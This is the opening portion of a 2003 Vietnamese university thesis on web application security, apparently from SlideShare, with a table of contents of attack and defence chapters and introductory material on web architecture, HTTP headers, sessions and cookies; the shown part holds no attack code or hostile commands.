SlideShare a Scribd company logo
Khoa CNTT
BỘ GIÁO DỤC VÀ ĐÀO TẠO
TRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN TP.HCM
KHOA CÔNG NGHỆ THÔNG TIN
BỘ MÔN MẠNG MÁY TÍNH
LUẬN VĂN TỐT NGHIỆP
ĐỀ TÀI:
NGHIÊN CỨU MỘT SỐ VẤN ĐỀ VỀ BẢO MẬT
ỨNG DỤNG WEB TRÊN INTERNET
GVHD: Th.S. MAI VĂN CƯỜNG
SVTH : NGUYỄN DUY THĂNG - 9912074
NGUYỄN MINH THU - 9912156
KHÓA HỌC: 1999-2003
Khoa CNTT
Lời cảm ơn
Sau gần 6 tháng nỗ lực thực hiện, luận văn nghiên cứu “Các kĩ thuật tấn công và
bảo mật ứng dụng Web trên Internet” đã phần nào hoàn thành. Ngoài sự cố gắng
hết mình của bản thân, chúng em đã nhận được sự khích lệ rất nhiều từ phía nhà
trường, thầy cô, gia đình và bạn bè.
Trước hết chúng con xin cám ơn ba mẹ đã luôn động viên và tạo mọi điều kiện
tốt để chúng con học tập và hoàn thành luận văn tốt nghiệp này.
Chúng em xin cám ơn thầy cô trường Đại Học Khoa Học Tự Nhiên đã truyền đạt
những kiến thức quý báu cho chúng em trong suốt quá trình học tập. Đặc biệt,
chúng em xin bày tỏ lòng chân thành sâu sắc đến thầy Mai Văn Cường, người đã
tận tình hướng dẫn và giúp đỡ chúng em trong quá trình làm luận văn tốt nghiệp.
Xin cám ơn tất cả bạn bè đã và đang động viên, giúp đỡ chúng tôi trong quá trình
học tập và hoàn thành tốt luận văn tốt nghiệp này.
Khoa CNTT
Lời nhận xét
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
Khoa CNTT
Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet
MỤC LỤC
GIỚI THIỆU………………………………………………………………………………
Tổ chức của luận văn……………………………………………………………………...
PHẦN THỨ NHẤT: CƠ SỞ LÍ THUYẾT……………………………………………….
Chương 1: Giới thệu Ứng dụng Web……………………………………………………..
I. KHÁI NIỆM ỨNG DỤNG WEB………………………………..……………………
II. MÔ TẢ HOẠT ĐỘNG CỦA MỘT ỨNG DỤNG WEB………..…………………...
Chương 2: Các khái niệm, thuật ngữ liên quan …………………………………………..
I. HACKER………………………………………………………………………………
II. HTTP HEADER……………………………………………………………………...
III. SESSION…………………………….………………………………………………
IV. COOKIE……………………………………………………………………………..
V. PROXY……………………………………………………………………………….
Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công Ứng dụng Web…………………..
I. KIỂM SOÁT TRUY CẬP WEB………………………………………………………
I.1. Thâm nhập hệ thống qua cửa sau…………………………………………………..
II. CHIẾM HỮU PHIÊN LÀM VIỆC…………………………………………………...
II.1. Ấn định phiên làm việc……………………………………………………………
II.2. Đánh cắp phiên làm việc………………………………………………………….
III. LỢI DỤNG CÁC THIẾU SÓT TRONG VIỆC KIỂM TRA DỮ LIỆU NHẬP HỢP
LỆ……….…………………………………………………………………………….......
III.1. Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt…………....
III.2. Tràn bộ đệm……………..……………………………………………………….
III.3. Mã hóa URL……………………………………………………………………..
III.4. Kí tự Meta………………………………………………………………………..
III.5. Vượt qua đường dẫn……………………………………………………………..
III.6. Chèn mã lệnh thực thi trên trình duyệt nạn nhân………………………………..
III.7. Thêm câu lệnh hệ thống………………….……………………………………...
7
9
11
12
13
16
18
19
19
21
22
25
26
27
27
27
27
27
27
28
28
28
28
29
29
29
Khoa CNTT
Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet
III.8. Chèn câu truy vấn SQL…………………….……………………………………
III.9. Ngôn ngữ phía máy chủ………………................................................................
III.10. Kí tự rỗng….…………………………………………………………………...
III.11. Thao tác trên tham số truyền…………………………………………………...
IV. ĐỂ LỘ THÔNG TIN……………………………………………………………….
V. TỪ CHỐI DỊCH VỤ………………….……………………………………………..
PHẦN THỨ HAI: CÁC KĨ THUẬT TẤN CÔNG VÀ BẢO MẬT ỨNG DỤNG WEB..
Chương 4: Thao tác trên tham số truyền…………………………………………………
I. THAO TÁC TRÊN URL……………………………………………………………..
I.1. Khái niệm………………………………………………………………………….
I.2. Một số biện pháp khắc phục……………………………………………………….
II. THAO TÁC TRÊN BIẾN ẨN FORM……………………………………………….
II.1. Khái niệm…………………………………………………………………………
II.2. Một số biện pháp khắc phục……………………………………………………...
III. THAO TÁC TRÊN COOKIE………………………………………………………
III.1. Khái niệm ……………………………………………………………………….
III.2. Một số biện pháp khắc phục……………………………………………………..
IV. THAO TÁC TRONG HTTP HEADER…………………………………………….
IV.1. Khái niệm………………………………………………………………………..
IV.2. Một số biện pháp khắc phục……………………………………………………..
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Side Scripting)…….
I. KĨ THUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS)………………………...
II. PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG…………………………...
III. MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS………………………………...
IV. TẤN CÔNG XSS BẰNG FLASH………………………………………………….
V. CÁCH PHÒNG CHỐNG……………………………………………………………
Chương 6: Chèn câu truy vấn SQL (SQL Injection)…………………………………….
I. KHÁI NIỆM SQL INJECTION……………………………………………………...
II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU………………………………………...
30
30
30
30
31
31
33
34
35
35
36
36
36
38
39
39
40
41
41
42
43
44
46
50
51
54
56
57
57
Khoa CNTT
Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet
III. CÁC CÁCH TẤN CÔNG………………………………………………………….
III.1. Kĩ thuật tấn công SQL Injection………………………………………………...
III.2. Tấn công dưa vào câu lệnh SELECT……………………………………………
III.3. Tấn công dưa vào câu lệnh HAVING…………………………………………...
III.4. Tấn công dưa vào câu lệnh kết hợp UNION……………………………………
III.5. Tấn công dưa vào lệnh INSERT………………………………………………...
III.6. Tấn công dưa vào STORED PROCEDURE……………………………………
III.7. Nâng cao………………………………………………………………………...
III.7.1. Chuỗi kí tự không có dấu nháy đơn………………………………………….
III.7.2. Tấn công 2 tầng………………………………………………………………
III.7.3. Tránh sự kiểm soát…………………………………………………………...
III.7.4. Dùng Extended Stored Procedure……………………………………………
III.7.4.1. Dùng Extended Stored Procedure có sẵn trong hệ thống SQL Server…...
III.7.4.2. Dùng Extended Stored Procedure tự tạo………………………………….
III.7.4.3. Nhập tập tin văn bản vào bảng……………………………………………
IV. CÁCH PHÒNG CHỐNG…………………………………………………………
IV.1. Kiểm tra dữ liệu………………………………………………………………..
IV.2. Khoá chặt SQL Server (SQL Server Lockdown)……………………………...
Chương 7: Chiếm hữu phiên làm việc (Session Management)…………………………
I. TỔNG QUAN VỀ SESSION ID……………………………………………………..
II. ẤN ĐỊNH PHIÊN LÀM VIỆC……………………………………………………...
II.1. Tấn công Session ID trên tham số URL…………………………………………
II.2. Tấn công Session ID trong biến ẩn form………………………………………...
II.3. Tấn công Session ID trong cookie……………………………………………….
II.4. Cách phòng chống……………………………………………………………….
III. ĐÁNH CẮP PHIÊN LÀM VIỆC…………………………………………………..
III.1. Tấn công kiểu dự đoán phiên làm việc (Prediction sessionID)…………………
III.2. Tấn công kiểu vét cạn phiên làm việc (Brute force ID)………………………...
III.3. Tấn công kiểu dùng đoạn mã để đánh cấp phiên làm việc……………………...
58
58
60
62
62
69
70
70
70
71
74
75
75
76
77
77
78
81
83
84
85
88
89
89
91
92
93
93
94
Khoa CNTT
Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet
III.4. Cách phòng chống……………………………………………………………….
III.5. Sự khác biệt giữa đánh cắp phiên làm việc (session hijacking) và ấn định phiên
làm việc (session fixation)……………………………………………………………...
Chương 8: Tràn bộ đệm (Buffer Overflow)……………………………………………..
I. KHÁI NIỆM………………………………………………………………………….
II. SƠ ĐỒ TỔ CHỨC CỦA BỘ NHỚ………………………………………………….
II.1. Stack……………………………………………………………………………...
II.2. Push và Pop………………………………………………………………………
II.3. Cách làm việc của hàm…………………………………………………………..
II.4. Shell code………………………………………………………………………...
III. MỘT SỐ CÁCH GÂY TRÀN BỘ ĐỆM QUA ỨNG DỤNG WEB……………….
IV. CÁC CÁCH PHÒNG CHỐNG…………………………………………………….
Chương 9: Từ chối dịch vụ (DoS)……………………………………………………….
I. KHÁI NIỆM…………………………………………………………………………..
II. NHỮNG KHẢ NĂNG BỊ TẤN CÔNG BẰNG DOS……………………………….
III. CÁC KĨ THUẬT TẤN CÔNG……………………………………………………..
III.1. Khái niệm về Tcp bắt tay ba chiều………………………………………………
III.2. Lợi dụng TCP thực hiện phương pháp SYN flood truyền thống………………..
III.3. Tấn công vào băng thông………………………………………………………..
III.3.1. Kiểu tấn công thứ 1…………………………………………………………..
III.3.2. Kiểu tấn công thứ 2…………………………………………………………..
III.4. Kiểu tấn công vào tài nguyên hệ thống………………………………………….
IV. BIỆN PHÁP PHÒNG CHỐNG…………………………………………………….
Chương 10: Một số kĩ thuật tấn công khác……………………………………………...
I. MÃ HÓA URL (URL Encoding) ……………………………………………………
I.1. Khái niệm…………………………………………………………………………
I.2. Một số biện pháp phòng chống…………………………………………………...
II. KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN…………………………………………
II.1. Khái niệm………………………………………………………………………..
94
94
97
98
99
100
101
102
104
106
106
108
109
109
110
110
112
113
113
113
117
117
119
120
120
121
121
121
Khoa CNTT
Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet
II.2. Một số biện pháp phòng chống…………………………………………………..
III. TẤN CÔNG DỰA VÀO KÍ TỰ RỖNG…………………………………………...
III.1. Khái niệm………………………………………………………………………..
III.2. Một số biện pháp phòng chống………………………………………………….
IV. NGÔN NGỮ PHÍA TRÌNH CHỦ………………………………………………….
IV.1. Khái niệm………………………………………………………………………..
IV.2. Cách tấn công……………………………………………………………………
IV.3. Biện pháp phòng chống…………………………………………………………
Chương 11: Tổng kết quá trình tấn công của Hacker…………………………………...
I. THU THẬP THÔNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU…………………
II. KHẢO SÁT ỨNG DỤNG WEB……………………………………………………
III. TẤN CÔNG………………………………………………………………………..
Chương 12: Tổng kết các biện pháp phòng chống……………………………………...
I. VỚI NHỮNG NHÀ QUẢN TRỊ MẠNG……………………………………………
II. VỚI NHỮNG NHÀ THIẾT KẾ ỨNG DỤNG WEB……………………………….
III. VỚI NGƯỜI SỬ DỤNG ỨNG DỤNG WEB……………………………………...
PHẦN THỨ BA: CHƯƠNG TRÌNH WEB CHECKER………………………………..
Chương 13: Chương trình Web Checker………………………………………………..
I. ĐẶC TẢ CHƯƠNG TRÌNH WEB CHECKER……………………………………..
I.1. Tổng quan………………………………………………………………………...
I.2. Yêu cầu…………………………………………………………………………...
I.2.1. Yêu cầu chức năng…………………………………………………………….
I.2.1. Yêu cầu phi chức năng………………………………………………………...
II. KIẾN TRÚC CHƯƠNG TRÌNH WEB CHECKER………………………………..
II.1. Kiến trúc chương trình Web Checker…………………………………………...
II.2. Giao tiếp giữa chương trình với trình chủ Web………………………………….
III. CÀI ĐẶT…………………………………………………………………………...
III.1. Ngôn ngữ cài đặt………………………………………………………………..
III.2. Phương pháp cài đặt…………………………………………………………….
122
123
123
123
123
123
125
125
127
128
131
132
134
135
137
139
140
141
142
142
142
142
143
143
143
144
145
145
145
Khoa CNTT
Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet
III.2.1. Sử dụng mô hình giao diện dạng Dialog…………………………………….
III.2.2. Sử dụng ActiveX Control (Microsoft Web Browser)……………………….
III.2.3. Sử dụng giao diện lập trình Window Socket 2………………………………
III.2.4. Một số lớp và hàm chính được cài đặt trong chương trình………………….
III.3. Mô tả chương trình và cách sử dụng……………………………………………
III.3.1. Màn hình chương trình………………………………………………………
III.3.2. Cách sử dụng………………………………………………………………...
IV. ĐÁNH GIÁ CHƯƠNG TRÌNH……………………………………………………
IV.1. Những vấn đề đạt được………………………………………………………..
IV.2. Những vấn đề hạn chế…………………………………………………………
KẾT LUẬN……………………………………………………………………………...
I. NHỮNG VẤN ĐỀ ĐẠT ĐƯỢC…………………………………………………….
II. HƯỚNG PHÁT TRIỂN…………………………………………………………….
PHỤ LỤC………………………………………………………………………………..
145
145
146
146
151
151
152
153
153
153
155
156
157
158
Khoa CNTT
Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet
-Trang 7-
GIỚI THIỆU
Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu
giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các phiên giao
dịch trực tuyến. Vấn đề nảy sinh là khi phạm vi ứng dụng của các ứng dụng Web ngày
càng mở rộng thì khả năng xuất hiện lỗi và bị tấn công càng cao, trở thành đối tượng
cho nhiều người tấn công với các mục đích khác nhau. Đôi khi, cũng chỉ đơn giản là để
thử tài hoặc đùa bỡn với người khác.
Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên Internet, số lượng
các vụ tấn công trên Internet cũng tăng theo cấp số nhân. Trong khi các phương tiện
thông tin đại chúng ngày càng nhắc nhiều đến những khả năng truy nhập thông tin của
Internet, thì các tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm và an
toàn dữ liệu cho các máy tính được kết nối vào mạng Internet.
Theo số liệu của CERT (Computer Emegency Response Team - "Đội cấp cứu máy
tính"), số lượng các vụ tấn công trên Internet được thông báo cho tổ chức này là ít hơn
200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993, và 2241 vào năm
1994, và năm 2001 là 5315 vụ.
Những vụ tấn công này nhằm vào tất cả các máy tính có mặt trên Internet, các máy tính
của tất cả các công ty lớn như AT&T, IBM, các trường đại học, các cơ quan nhà nước,
các tổ chức quân sự, nhà băng... Một số vụ tấn công có quy mô khổng lồ (có tới
100.000 máy tính bị tấn công). Hơn nữa, những con số này chỉ là phần nổi của tảng
băng. Một phần rất lớn các vụ tấn công không được thông báo, vì nhiều lý do, trong đó
Khoa CNTT
Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet
-Trang 8-
có thể kể đến nỗi lo bị mất uy tín, hoặc đơn giản những người quản trị hệ thống không
hay biết những cuộc tấn công đang nhằm vào hệ thống của họ.
Điển hình là cuộc tấn công vào phần mềm thương mại của IBM tháng 3/2001, hai
hacker đã tìm thấy lỗ hổng trên ứng dụng mà bất cứ ai với một trình duyệt Web cũng
có thể lấy tài khoản của người dùng, thậm chí cả người quản trị.
Không chỉ số lượng các cuộc tấn công tăng lên nhanh chóng, mà các phương pháp tấn
công ngày càng tinh vi và có tổ chức. Mặt khác, việc quản trị các hệ thống mạng đòi
hỏi nhà quản trị hệ thống có kiến thức và kinh nghiệm về hệ thống mạng chắc chắn,
do đó sự yếu kém trong quản lý sẽ tạo nhiều điều kiện cho các hacker khai thác.
Cũng theo CERT, những cuộc tấn công thời kỳ 1988-1989 chủ yếu là đoán tên người
sử dụng-mật khẩu (UserID/password) hoặc sử dụng một số lỗi của các chương trình và
hệ điều hành (security hole) làm vô hiệu hệ thống bảo vệ, tuy nhiên các cuộc tấn công
vào thời gian gần đây còn bao gồm cả các thao tác như giả mạo địa chỉ IP, theo dõi
thông tin truyền qua mạng, chiếm các phiên làm việc từ xa (telnet hoặc rlogin), cài
trojan hay worm để kiểm soát hay điều khiển máy tính…vì thế, nhu cầu bảo vệ thông
tin trên Internet là cần thiết nhằm mục đích bảo vệ dữ liệu, bảo vệ thông tin người dùng
và bảo vệ hệ thống.
Khi nói đến vấn đề bảo mật, hầu hết các chuyên gia bảo mật đều chú trọng đến sự an
toàn của hệ thống mạng và hệ điều hành. Để bảo vệ cho hệ thống, phương pháp thường
được chọn là sử dụng firewall. Tuy nhiên, theo tuyên bố của CSI/FBI : 78% nơi bị hại
có sử dụng firewall và 59% thì bị tấn công thông qua Internet, cụ thể hơn là theo báo
cáo của CSI/FBI Computer Crime và Security Survey thì tổng số thiệt hại do những
ứng dụng Web bị tấn công từ năm 1997 đến năm 2000 là 626 triệu đôla Mỹ.
Khoa CNTT
Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet
-Trang 9-
Với những công cụ tự động tìm lỗ hổng tuy giúp rất nhiều cho những nhà lập trình
Web nhưng vẫn không thể ngăn chặn toàn bộ vì công nghệ Web đang phát triển nhanh
chóng (chủ yếu chú trọng đến yếu tố thẩm mĩ, yếu tố tốc độ…) nên dẫn đến nhiều
khuyết điểm mới phát sinh. Sự tấn công không nằm trong khuôn khổ vài kĩ thuật đã
phát hiện, mà linh động và tăng lên tùy vào những sai sót của nhà quản trị hệ thống
cũng như của những người lập trình ứng dụng.
Luận văn được thực hịên với mục đích tìm hiểu, phân tích các lỗ hổng bảo mật trong
các ứng dụng web (cùng với chương trình minh họa) để qua đó đề xuất các phương án
sửa chữa. Song song đó, luận văn còn thực hiện một chương trình “Tự động phát hiện
lỗ hổng trên ứng dụng Web” giúp ích cho những nhà lập trình Web ít kinh nghiệm
tránh những sai sót trong quá trình tạo các ứng dụng.
Tổ chức của luận văn
Luận văn gồm 13 chương chia thành 3 phần:
Phần thứ nhất: CƠ SỞ LÍ THUYẾT
Phần này gồm có 3 chương:
+ Chương 1 : Giới thiệu về ứng dụng Web
+ Chương 2 : Một số khái niệm, thuật ngữ liên quan.
+ Chương 3: Sơ lược các kĩ thuật tấn công ứng dụng Web
Phần thứ hai:CÁC KĨ THUẬT TẤN CÔNG VÀ BIỆN PHÁP PHÒNG CHỐNG
Phần này gồm có 9 chương từ chương 4 đến chương 12 trong đó 7 chương đầu bàn
luận về các kĩ thuật tấn công, cuối mỗi chương là biện pháp phòng chống cho từng kĩ
thuật. Chương 11 nói về quá trình tấn công của hacker và đến chương 12 là nội dung
các biện pháp phòng chống chung nhất.
Khoa CNTT
Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet
-Trang 10-
Phần thứ ba : CHƯƠNG TRÌNH “WEB CHECKER”
Là gồm chương cuối trình bày, giải thích về chương trình
Kết thúc luận văn là phần kết luận, tóm lược lại những vấn đề đã trình bày và một số
hướng phát triển trong tương lai và danh mục các tài liệu tham khảo.
Khoa CNTT
Phần I: Cơ sở lý thuyết
-Trang 11-
PHẦN THỨ NHẤT
CƠ SỞ LÍ THUYẾT
Khoa CNTT
Chương 1: Giới thiệu Ứng dụng Web
-Trang 12-
Chương 1
GIỚI THIỆU ỨNG DỤNG WEB
Nội dung:
I. Khái niệm về ứng dụng Web
II. Mô tả cách hoạt động của một ứng dụng Web
Khoa CNTT
Chương 1: Giới thiệu Ứng dụng Web
-Trang 13-
CHƯƠNG 1: GIỚI THIỆU ỨNG DỤNG WEB
Luận văn được thực hiện nhằm tìm hiểu về các kĩ thuật tấn công trang Web và đề ra
cách phòng chống. Do đó, trong chương đầu tiên luận văn sẽ giới thiệu sơ lược một số
khái niệm cơ bản và đây chính là nền tảng để xây dựng nội dung cho những phần sau.
I. KHÁI NIỆM ỨNG DỤNG WEB
Ứng dụng Web là một ứng dụng chủ/khách sử dụng giao thức HTTP để tương tác với
người dùng hay hệ thống khác.
Trình khách dành cho người sử dụng thường là một trình duyệt Web như Internet
Explorer hay Netscape Navigator. Cũng có thể là một chương trình đóng vai trò đại
lý người dùng hoạt động như một trình duyệt tự động. Người dùng gửi và nhận các
thông tin từ trình chủ thông qua việc tác động vào các trang Web. Các chương trình
có thể là các trang trao đổi mua bán, các diễn đàn, gửi nhận e-mail…
Tốc độ phát triển các kỹ thuật xây dựng ứng dụng Web cũng phát triển rất nhanh.
Trước đây những ứng dụng Web thường được xây dựng bằng CGI (Common
Gateway Interface) được chạy trên các trình chủ Web và có thể kết nối vào các cơ sở
dữ liệu đơn giản trên cùng máy chủ. Ngày nay ứng dụng Web thường được viết bằng
Java (hay các ngôn ngữ tương tự) và chạy trên máy chủ phân tán, kết nối đến nhiều
nguồn dữ liệu.
Một ứng dụng web thường có kiến trúc gồm:
Khoa CNTT
Chương 1: Giới thiệu Ứng dụng Web
-Trang 14-
Hình 1.I-1. Kiến trúc một ứng dụng Web
• Lớp trình bày: Lớp này có nhiệm vụ hiển thị dữ liệu cho người dùng, ngoài ra còn
có thể có thêm các ứng dụng tạo bố cục cho trang web.
• Lớp ứng dụng: là nơi xử lý của ứng dụng Web. Nó sẽ xử lý thông tin người dùng
yêu cầu, đưa ra quyết định, gửi kết quả đến “lớp trình bày”. Lớp này thường
được cài đặt bằng các kỹ thuật lập trình như CGI, Java, .NET , PHP hay
ColdFusion, được triển khai trên các trình chủ như IBM WebSphere, WebLogic,
Apache, IIS…
• Lớp dữ liệu: thường là các hệ quản trị dữ liệu (DBMS) chịu trách nhiệm quản lý
các file dữ liệu và quyền sử dụng.
Mô hình hóa hoạt động của một ứng dụng Web:
Khoa CNTT
Chương 1: Giới thiệu Ứng dụng Web
-Trang 15-
Hình 1.I-2. Mô hình hoạt động của một ứng dụng Web
Trong đó:
• Trình khách ( hay còn gọi là trình duyệt): Internet Explorer, Netscap Navigator
• Trình chủ: Apache, IIS, ….
• Hệ quản trị cơ sở dữ liệu: SQL Server, MySQL, DB2, Access….
Bên cạnh đó, một giải pháp dùng để bảo vệ một hệ thống mạng thường được sử dụng
là bức tường lửa, nó có vai trò như là lớp rào chắn bên ngoài một hệ thống mạng, vì
chức năng chính của firewall là kiểm soát luồng thông tin giữa các máy tính. Có thể
xem firewall như một bộ lọc thông tin, nó xác định và cho phép một máy tính này có
được truy xuất đến một máy tính khác hay không, hay một mạng này có được truy
xuất đến mạng kia hay không.
Người ta thường dùng firewall vào mục đích:
• Cho phép hoặc cấm những dịch vụ truy xuất ra ngoài.
Khoa CNTT
Chương 1: Giới thiệu Ứng dụng Web
-Trang 16-
• Cho phép hoặc cấm những dịch vụ từ bên ngoài truy nhập vào trong.
• Kiểm soát địa chỉ truy nhập, cấm địa chỉ truy nhập.
Firewall hoạt động dựa trên gói IP do đó kiểm soát việc truy nhập của máy người sử
dụng
II.MÔ TẢ HOẠT ĐỘNG CỦA MỘT ỨNG DỤNG WEB
Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Web thông qua các
lệnh cơ bản GET, POST… của giao thức HTTP, trình chủ lúc này có thể cho thực thi
một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++… hoặc trình
chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP… theo yêu cầu của trình khách.
Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến
cơ sở dữ liệu, lưu các thông tin do trình khách gửi đến…và từ đó trả về cho trình
khách 1 luồng dữ liệu có định dạng theo giao thức HTTP, nó gồm 2 phần:
• Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi
giữa trình duyệt và WebServer.
• Body là phần nội dung dữ liệu mà Server gửi về Client, nó có thể là một file
HTML, một hình ảnh, một đoạn phim hay một văn bản bất kì.
Theo mô hình ở hình 1.I-2, với firewall, luồng thông tin giữa trình chủ và trình khách
là luồng thông tin hợp lệ. Vì thế, nếu hacker tìm thấy vài lỗ hổng trong ứng dụng
Web thì firewall không còn hữu dụng trong việc ngăn chặn hacker này. Do đó, các kĩ
thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào những sơ
suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Web hơn là
tấn công trực tiếp vào hệ thống mạng, hệ điều hành. Tuy nhiên, hacker cũng có thể
Khoa CNTT
Chương 1: Giới thiệu Ứng dụng Web
-Trang 17-
lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các hệ thống không
liên quan khác.
Khoa CNTT
Chương 2: Các khái niệm, thuật ngữ liên quan
-Trang 18-
Chương 2
CÁC KHÁI NIỆM, THUẬT NGỮ LIÊN QUAN
Nội dung:
I. Hacker
II. HTTP Header
III. Phiên làm việc (Session)
IV. Cookie
V. Proxy
Khoa CNTT
Chương 2: Các khái niệm, thuật ngữ liên quan
-Trang 19-
CHƯƠNG 2:
CÁC KHÁI NIỆM, THUẬT NGỮ LIÊN QUAN
I. HACKER
Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thống mạng…
Hacker thường là những chuyên gia về máy tính. Hacker không tạo ra các kẽ hở cho
hệ thống, nhưng hacker lại là những người am hiểu về hệ điều hành, hệ quản trị dữ
liệu, các ngôn ngữ lập trình…Họ sử dụng kiến thức của mình trong việc tìm tòi và
khai thác các lỗ hổng của hệ thống mạng. Một số hacker chỉ dừng lại việc phát hiện
và thông báo lỗi tìm được cho những nhà bảo mật hay người phát triển chương trình,
họ được xem như là WhiteHat (Hacker nón trắng). Một số hacker dựa vào những lỗ
hổng thực hiện việc khai thác trái phép nhằm mục đích phá hoại hay mưu lợi riêng,
những người này bị xem như là BlackHat (Hacker nón đen).
Vì tính chất phổ biến của thuật ngữ hacker, nên trong phần trình bày, luận văn sẽ sử
dụng “hacker” thay cho “kẻ tấn công”.
II.HTTP HEADER
HTTP header là phần đầu (header) của thông tin mà trình khách và trình chủ gửi cho
nhau. Những thông tin trình khách gửi cho trình chủ được gọi là HTTP requests (yêu
cầu) còn trình chủ gửi cho trình khách là HTTP responses (trả lời). Thông thường,
một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị. Một số
Khoa CNTT
Chương 2: Các khái niệm, thuật ngữ liên quan
-Trang 20-
tham số có thể được dùng trong cả header yêu cầu và header trả lời, còn số khác thì
chỉ đuợc dùng riêng trong từng loại. Ví dụ :
• Header yêu cầu:
GET /tintuc/homnay.asp HTTP/1.1
Accept: */*
Accept-Language: en-us
Connection: Keep-Alive
Host: localhost
Referer: http://localhost/lienket.asp
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Accept-Encoding: gzip, deflate
o Dòng đầu là dòng yêu cầu cho biết phương thức yêu cầu (GET hoặc
POST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP
(HTTP/1.1)..
o Tiếp theo là các tham số. Chẳng hạn như:
Accept-Language: Cho biết ngôn ngữ dùng trong trang web.
Host: Cho biết địa chỉ của máy chủ.
Referer: Cho biết địa chỉ của trang web tham chiếu tới.
o Header của HTTP request sẽ kết thúc bằng một dòng trống.
• Header trả lời:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 13 Jul 2000 05:46:53 GMT
Khoa CNTT
Chương 2: Các khái niệm, thuật ngữ liên quan
-Trang 21-
Content-Length: 2291
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQQGGGNCG=LKLDFFKCINFLDMFHCBCBMFLJ;
path=/
Cache-control: private
<HTML>
<BODY>
...
o Dòng đầu là dòng trạng thái, để cho biết phiên bản HTTP được dùng
(HTTP/1.1), mã trạng thái (200) và trạng thái (OK).
o Tiếp theo là các tham số.
o Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là phần
thân của HTTP response.
Danh sách tham số của HTTP header được trình bày trong phụ lục A
III. SESSION
HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTP không
lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ. Sự thiếu sót này gây khó
khăn cho một số ứng dụng Web, bởi vì trình chủ không biết được trước đó trình
duyệt đã có những trạng thái nào. Vì thế, để giải quyết vấn đề này, ứng dụng Web
đưa ra một khái niệm phiên làm việc (Session). Còn SessionID là một chuỗi để chứng
thực phiên làm việc. Một số trình chủ sẽ cung cấp một SessionID cho người dùng
khi họ xem trang web trên trình chủ.
Để duy trì phiên làm việc thì sessionID thường được lưu vào :
Khoa CNTT
Chương 2: Các khái niệm, thuật ngữ liên quan
-Trang 22-
• Biến trên URL
• Biến ẩn form
• Cookie
Phiên làm việc chỉ tồn tại trong một khoảng thời gian cho phép, thời gian này được
cấu hình qui định tại trình chủ hoặc bởi ứng dụng thực thi. Trình chủ sẽ tự động giải
phóng phiên làm việc để khôi phục lại tài nguyên của hệ thống.
IV. COOKIE
Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình
duyệt của người dùng.
Các cookie được lưu trữ dưới những file dữ liệu nhỏ dạng text, được ứng dụng tạo ra
để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm trang Web và
những vùng mà họ đi qua trong trang. Những thông tin này có thể bao gồm tên/định
danh người dùng, mật khẩu, sở thích, thói quen...cookie được trình duyệt của người
dùng chấp nhận lưu trên đĩa cứng của máy mình, tuy nhiên không phải lúc nào trình
duyệt cũng hỗ trợ cookie, mà còn tùy thuộc vào người dùng có chấp nhận chuyện lưu
trữ đó hay không.
Ở những lần truy cập sau đến trang Web đó, ứng dụng có thể dùng lại những thông
tin trong cookie (như thông tin liên quan đến việc đăng nhập vào Yahoo
Messenger!...) mà người dùng không phải làm lại thao tác đăng nhập hay phải cung
cấp lại các thông tin khác.
Cookie được phân làm 2 loại secure/non-secure và persistent/non-persistent do đó ta
sẽ có 4 kiểu cookie là:
Khoa CNTT
Chương 2: Các khái niệm, thuật ngữ liên quan
-Trang 23-
• Persistent và Secure
• Persistent và Non-Secure
